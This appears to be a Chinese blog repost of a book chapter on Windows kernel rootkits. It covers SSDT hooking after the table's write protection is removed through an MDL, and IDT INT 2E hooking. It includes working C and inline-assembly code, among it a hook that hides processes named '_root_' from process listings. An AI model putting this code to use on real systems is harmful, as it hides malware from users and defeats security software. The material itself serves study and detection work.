Rootkits——Windows内核的安全防护(1)

4.2  内核钩子
前一节中说明了用户空间钩子是有用的,但它们相对易于检测和预防(第10章“rootkit检测”将详细讨论用户空间钩子的检测问题)。更好的解决方法是安装内核内存钩子。通过使用内核钩子,rootkit将与所有检测软件保持同步。

内核内存是高端虚存地址区域。在Intel x86体系结构中,内核内存通常驻留在内存地址0x80000000及以上范围。若使用了允许进程拥有3GB虚存的/3GB引导配置开关,则内核内存起始于0xC0000000地址处。

进程不能访问内核内存是一条通用规则。该规则的例外情况是进程具有调试权限并且使用了特定的调试API,或者已安装了调用门。本书不涉及这些例外情况。关于调用门的更多信息,可参考Intel体系结构手册。

在本书中,rootkit通过实现一个设备驱动程序来访问内核内存。

出于众多因素考虑,内核提供了安装钩子的理想位置。两个最重要的原因包括:内核钩子是全局的(相对而言);并且它们更难以检测,因为若rootkit和防护/检测软件都处于环0级时,rootkit有一个平等竞赛(even playing)域,可以在其上躲避或禁止保护/检测软件(关于环的更多信息,参见第3章“硬件相关问题”)。

本节介绍3个最常见的钩子位置。但应该理解的是,根据不同的rootkit预期目的,也可以发现其他钩子位置。

4.2.1  钩住系统服务描述符表
Windows可执行程序在内核模式中运行,并且对操作系统的所有子系统(Win32、POSIX和OS/2)都提供本地支持。这些本地系统服务的地址在内核结构中称为系统服务调度表(System Service Dispatch Table,SSDT)中列出。该表可以基于系统调用编号进行索引,以便定位函数的内存地址。还有一个系统服务参数表(System Service Parameter Table,SSPT)指定了每个系统服务的函数参数的字节数。

KeServiceDescriptorTable是由内核导出的表。该表拥有一个指针,指向SSDT中包含由Ntoskrnl.exe实现的核心系统服务的相应部分,它是内核的主要组成部分。KeServiceDescriptorTable表还包含一个指向SSPT的指针。

图4-4描述了KeServiceDescriptorTable表。该图中的数据来自于未安装服务补丁包的Windows 2000 Advanced Server系统。其中SSDT包含了所有内核导出函数的地址。每个地址长度为4个字节。

为了调用特定函数,系统服务调度程序KiSystemService将该函数的ID编号乘以4以获取它在SSDT中的偏移量。注意KeServiceDescriptorTable包含了服务数目,该值用于确定在SSDT或SSPT中的最大偏移量。图4-4中也描述了SSPT。该表中的每个元素为单字节长度,以十六进制指定了它在SSDT中的相应函数采取多少字节作为参数。在这个示例中,地址0x804AB3BF处的函数采用0x18个字节的参数。

1188325149_4013f3cc

KeServiceDescriptorTableShadow表包含了在内核驱动程序Win32k.sys中实现的USER和GDI服务的地址。Dabak等人在Undocumented Windows NT一书中描述了这些表。

当调用INT 2E或SYSENTER指令时会激活系统服务调度程序。这导致进程通过调用该程序转换到内核模式。应用程序可以直接或通过使用子系统调用系统服务调度程序KiSystemService。若采用子系统(例如Win32)方式,它会调用到Ntdll.dll中。后者向EAX中加载所请求的系统服务标识符编号或系统函数索引,然后向EDX中加载用户模式中函数参数的地址。系统服务调度程序对参数数目进行验证,将它们从用户堆栈中复制到内核堆栈,然后调用在SSDT中存储于EAX中的服务标识符编号的索引地址处的函数(该进程在本章后面4.2.1节中详细讨论)。

一旦将rootkit作为设备驱动程序加载之后,它可以将SSDT改为指向它所提供的函数,而不是指向Ntoskrnl.exe或Win32k.sys。当非核心的应用程序调用到内核中时,该请求由系统服务调度程序处理,并且调用了rootkit的函数。这时,rootkit可以将它想要的任何假信息传回到应用程序,从而有效地隐藏自身以及所用的资源。

4.2.2  修改SSDT内存保护机制
在第2章中讨论过,有些Windows系统版本对某些内存区域启用了写保护功能。这在后期版本,如Windows XP和Windows 2003,中更为普遍。这些后期版本的操作系统要求SSDT是只读的,因为任何合法程序都不可能需要修改这个表。

如果希望通过函数调用钩子来过滤特定系统调用所返回的响应,则写保护机制对rootkit提出了一个重大的难题。若向只读内存区域,例如SSDT,中执行写入操作,则会发生蓝屏死机(Blue Screen of Death,BSoD)。第2章介绍了如何修改CR0寄存器来绕过内存保护机制,从而避免这种BSoD。本节解释另一种微软公司已深入说明的进程来修改内存保护机制的方法。

您可以在内存描述符表(Memory Descriptor List,MDL)中描述一块内存区域。MDL包含了该内存区域的起始地址、拥有者进程、字节数量以及标志:

[php]

// MDL references defined in ntddk.h

typedef struct _MDL {

struct _MDL *Next;

CSHORT Size;

CSHORT MdlFlags;

struct _EPROCESS *Process;

PVOID MappedSystemVa;

PVOID StartVa;

ULONG ByteCount;

ULONG ByteOffset;

} MDL, *PMDL;

// MDL Flags

#define MDL_MAPPED_TO_SYSTEM_VA     0x0001

#define MDL_PAGES_LOCKED              0x0002

#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004

#define MDL_ALLOCATED_FIXED_SIZE    0x0008

#define MDL_PARTIAL                   0x0010

#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020

#define MDL_IO_PAGE_READ              0x0040

#define MDL_WRITE_OPERATION         0x0080

#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100

#define MDL_LOCK_HELD                  0x0200

#define MDL_PHYSICAL_VIEW             0x0400

#define MDL_IO_SPACE                  0x0800

#define MDL_NETWORK_HEADER          0x1000

#define MDL_MAPPING_CAN_FAIL          0x2000

#define MDL_ALLOCATED_MUST_SUCCEED  0x4000

[/php]

为了修改内存标志,以下代码首先声明一个结构,该结构用于强制转换由Windows内核导出的KeServiceDescriptorTable变量的类型。调用MmCreateMdl时,需要KeServiceDescriptorTable基地址以及它所包含的项数。它们定义了MDL所描述的内存区域的起始地址和大小。然后rootkit从不分页的内存池中构建MDL。

rootkit将MDL的标志与前面提及的MDL_MAPPED_TO_SYSTEM_VA进行或操作,以便允许写入一块内存区域。然后调用MmMapLockedPages来锁定内存中的MDL页。

现在就可以开始钩住SSDT。在以下代码中,MappedSystemCallTable 代表了与原始SSDT相同的地址,但现在可以向其中执行写入操作。

[php]

// Declarations

#pragma pack(1)

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} SSDT_Entry;

#pragma pack()

__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL  g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

// Code

// save old system call locations

// Map the memory into our domain to change the permissions on // the MDL

g_pmdlSystemCall = MmCreateMdl(NULL,

KeServiceDescriptorTable.ServiceTableBase,

KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)

return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// Change the flags of the MDL

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |

MDL_MAPPED_TO_SYSTEM_VA;

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

[/php]

4.2.3  钩住SSDT
几个宏有助于钩住SSDT表。SYSTEMSERVICE 宏采用由ntoskrnl.exe导出的Zw*函数的地址,并返回相应的Nt*函数在SSDT中的地址。Nt*函数是私有函数,其地址列于SSDT中。Zw*函数是由内核为使用设备驱动程序和其他内核组件而导出的函数。注意,SSDT中的每一项和每个Zw*函数之间不存在一对一的对应关系。

SYSCALL_INDEX宏采用Zw*函数地址并返回它在SSDT中相应的索引号。该宏和SYSTEMSERVICE宏 发挥作用的原因在于Zw*函数起始位置的操作码。在编写本书之际,内核中的所有Zw*函数都以操作码mov eax, ULONG起始,其中ULONG是系统调用在SSDT中的索引号。通过将该函数的第二个字节看作ULONG类型,这些宏能得到该函数的索引号。

HOOK_SYSCALL和UNHOOK_SYSCALL宏采用被钩住的Zw*函数的地址,获取其索引号,并自动将SSDT中该索引的相应地址与_Hook函数的地址进行交换。

[php]

#define SYSTEMSERVICE(_func) \

KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )       \

_Orig = (PVOID) InterlockedExchange( (PLONG) \

&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )  \

InterlockedExchange((PLONG)           \

&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

[/php]

这些宏有助于编写钩住SSDT的rootkit,在后面的示例中将演示其用法。

在初步了解如何钩住SSDT后,下面分析一个示例。

1. 示例:使用SSDT钩子隐藏进程
Windows操作系统通过ZwQuerySystemInformation函数查询许多不同类型的信息。例如,Taskmgr.exe通过该函数获取系统上的进程列表。返回的信息类型取决于所请求的SystemInformationClass。在微软公司Windows DDK中定义,要获得进程列表,SystemInformationClass设置为5。

一旦rootkit将NtQuerySystemInformation函数放到SSDT中,钩子就可以调用原始的函数并对结果进行过滤。

图4-5解释了NtQuerySystemInformation通过缓冲区返回进程记录的方式。

1188325212_2768274a

以下代码解释了在ZwQuerySystemInformation所返回的缓冲区中进程和线程结构的格式:

[php]

struct _SYSTEM_THREADS

{

LARGE_INTEGER           KernelTime;

LARGE_INTEGER           UserTime;

LARGE_INTEGER           CreateTime;

ULONG                     WaitTime;

PVOID                     StartAddress;

CLIENT_ID                ClientIs;

KPRIORITY                Priority;

KPRIORITY                BasePriority;

ULONG                     ContextSwitchCount;

ULONG                     ThreadState;

KWAIT_REASON            WaitReason;

};

struct _SYSTEM_PROCESSES

{

ULONG                   NextEntryDelta;

ULONG                   ThreadCount;

ULONG                   Reserved[6];

LARGE_INTEGER          CreateTime;

LARGE_INTEGER          UserTime;

LARGE_INTEGER          KernelTime;

UNICODE_STRING         ProcessName;

KPRIORITY               BasePriority;

ULONG                   ProcessId;

ULONG                   InheritedFromProcessId;

ULONG                   HandleCount;

ULONG                   Reserved2[2];

VM_COUNTERS            VmCounters;

IO_COUNTERS            IoCounters; //windows 2000 only

struct _SYSTEM_THREADS  Threads[1];

};

[/php]

下面的NewZwQuerySystemInformation函数过滤掉名称以“_root_”开头的所有进程。它还将这些隐藏进程的运行时间添加到Idle进程中。

[php]

//////////////////////////////////////////////////////////////////

// NewZwQuerySystemInformation function

//

// ZwQuerySystemInformation() returns a linked list

// of processes.

// The function below imitates it, except that it removes

// from the list any process whose name begins

// with "_root_".

NTSTATUS NewZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS ntStatus;

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))

(SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength);

if( NT_SUCCESS(ntStatus))

{

// Asking for a file and directory listing

if(SystemInformationClass == 5)

{

// This is a query for the process list.

// Look for process names that start with

// "_root_" and filter them out.

struct _SYSTEM_PROCESSES *curr =

(struct _SYSTEM_PROCESSES *) SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

while(curr)

{

//DbgPrint("Current item is %x\n", curr);

if (curr->ProcessName.Buffer != NULL)

{

if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

{

m_UserTime.QuadPart += curr->UserTime.QuadPart;

m_KernelTime.QuadPart +=

curr->KernelTime.QuadPart;

if(prev) // Middle or Last entry

{

if(curr->NextEntryDelta)

prev->NextEntryDelta +=

curr->NextEntryDelta;

else     // we are last, so make prev the end

prev->NextEntryDelta = 0;

}

else

{

if(curr->NextEntryDelta)

{

// we are first in the list, so move it

// forward

(char*)SystemInformation +=

curr->NextEntryDelta;

}

else // we are the only process!

SystemInformation = NULL;

}

}

}

else // This is the entry for the Idle process

{

// Add the kernel and user times of _root_*

// processes to the Idle process.

curr->UserTime.QuadPart += m_UserTime.QuadPart;

curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

// Reset the timers for next time we filter

m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

}

prev = curr;

if(curr->NextEntryDelta)((char*)curr+=

curr->NextEntryDelta);

else curr = NULL;

}

}

else if (SystemInformationClass == 8)

{

// Query for SystemProcessorTimes

struct _SYSTEM_PROCESSOR_TIMES * times =

(struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

times->IdleTime.QuadPart += m_UserTime.QuadPart +

m_KernelTime.QuadPart;

}

}

return ntStatus;

}

[/php]

利用前面的钩子,rootkit能够隐藏名称以“_root_”开头的所有进程。但这只是一个示例,可以修改被隐藏进程的名称。在SSDT中还存在着大量您希望钩住的函数。

更好地理解了SSDT钩子之后,下面介绍内核中其他可以钩住的位置。

2. 钩住中断描述符表
如名称所示,中断描述符表(Interrupt Descriptor Table,IDT)用于处理中断。中断可能来自于软件或硬件。IDT指定了如何处理诸如当按下一个键、发生页面错误(IDT中的0x0E项),或用户进程请求SSDT(在Windows中为0x2E项)时所触发的中断。本节介绍如何在IDT中的向量0x2E上安装钩子。该钩子在SSDT中的内核函数之前进行调用。

在处理IDT时需要注意两点。首先,每个处理器都有自己的IDT,这在多处理器计算机上会产生问题。仅仅钩住代码当前所在的处理器是不够的,必须钩住系统上的所有IDT(关于如何在特定处理器上运行钩子函数的更多信息,参见第7章“直接内核对象操作”中的7.4.3节)。

另外,执行控制并不返回到IDT处理程序,因此典型的钩子技术(如调用原始函数,过滤数据,然后从钩子中返回等)不会起作用。IDT钩子只是一个直通(pass-through)函数,决不会重新获得控制权,因此它无法过滤数据。但rootkit可以标识或堵塞来自特定软件例如主机入侵预防系统(Host Intrusion Prevention System,HIPS)或个人防火墙的请求。

当应用程序需要操作系统的支持时,NTDLL.DLL向EAX寄存器加载SSDT中系统调用的索引号,向EDX寄存器加载用户堆栈参数的指针。然后发出一条INT 2E指令。该中断是从用户空间进入内核的指示信号(注意:更晚的Windows版本使用本章后面介绍的SYSENTER指令,而不是INT 2E)。

SIDT指令在内存中为每个CPU寻找IDT。它返回IDTINFO结构的地址。因为IDT划分为一个较低的WORD值和一个较高的WORD值,可以通过MAKELONG宏获得正确的DWORD值,其中最高位WORD在前面:
[php]</pre>
typedef struct

{

WORD IDTLimit;

WORD LowIDTbase;

WORD HiIDTbase;

} IDTINFO;

#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))

<< 16))

[/php]

IDT中每一项都具有自己的结构,长度为64位。这些项也呈现出这种划分WORD特征。每一项包含一个特定中断处理函数的地址。IDTENTRY结构中的LowOffset和HiOffset组成了中断处理程序的地址。

IDT中每项的结构如下:

[php]

#pragma pack(1)

typedef struct

{

WORD LowOffset;

WORD selector;

BYTE unused_lo;

unsigned char unused_hi:5; // stored TYPE ?

unsigned char DPL:2;

unsigned char P:1;         // vector is present

WORD HiOffset;

} IDTENTRY;

#pragma pack()

[/php]

下面的HookInterrupts函数声明了一个全局DWORD,它存储实际的INT 2E函数处理程序KiSystemService。它还将NT_SYSTEM_SERVICE_INT定义为0x2E。这是IDT中将要钩住的索引。以下代码将IDT中的实际项替换为包含钩子地址的IDTENTRY。

[php]

DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler

#define NT_SYSTEM_SERVICE_INT 0x2e

int HookInterrupts()

{

IDTINFO idt_info;

IDTENTRY* idt_entries;

IDTENTRY* int2e_entry;

__asm{

sidt idt_info;

}

idt_entries =            (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

KiRealSystemServiceISR_Ptr =  // Save the real address of the

// handler.

MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,

idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);

/*******************************************************

* Note: we can patch ANY interrupt here;

* the sky is the limit

*******************************************************/

int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);

__asm{

cli;                           // Mask Interrupts

lea eax,MyKiSystemService; // Load EAX with the address of

// hook

mov ebx, int2e_entry;        // Address of INT 2E handler in

// table

mov [ebx],ax;                 // Overwrite real handler with

// the low

// 16 bits of the hook address.

shr eax,16

mov [ebx+6],ax;              // Overwrite real handler with

// the high

// 16 bits of the hook address.

sti;                           // Enable Interrupts again.

}

return 0;

}[/php]

至此已经在IDT中安装了钩子,就可以检测或阻止任何使用了系统调用的进程。记住系统调用编号存储在EAX寄存器中。通过调用PsGetCurrentProcess函数可以获得指向当前EPROCESS的指针。以下是执行该功能的代码原型:

[php]

__declspec(naked) MyKiSystemService()

{

__asm{

pushad

pushfd

push fs

mov bx,0x30

mov fs,bx

push ds

push es

// Insert detection or prevention code here.

Finish:

pop es

pop ds

pop fs

popfd

popad

jmp   KiRealSystemServiceISR_Ptr;  // Call the real function

}

}

[/php]

 

还没有评论,快来抢沙发!

发表评论

  • 😉
  • 😐
  • 😡
  • 😈
  • 🙂
  • 😯
  • 🙁
  • 🙄
  • 😛
  • 😳
  • 😮
  • emoji-mrgree
  • 😆
  • 💡
  • 😀
  • 👿
  • 😥
  • 😎
  • ➡
  • 😕
  • ❓
  • ❗
  • 68 queries in 0.453 seconds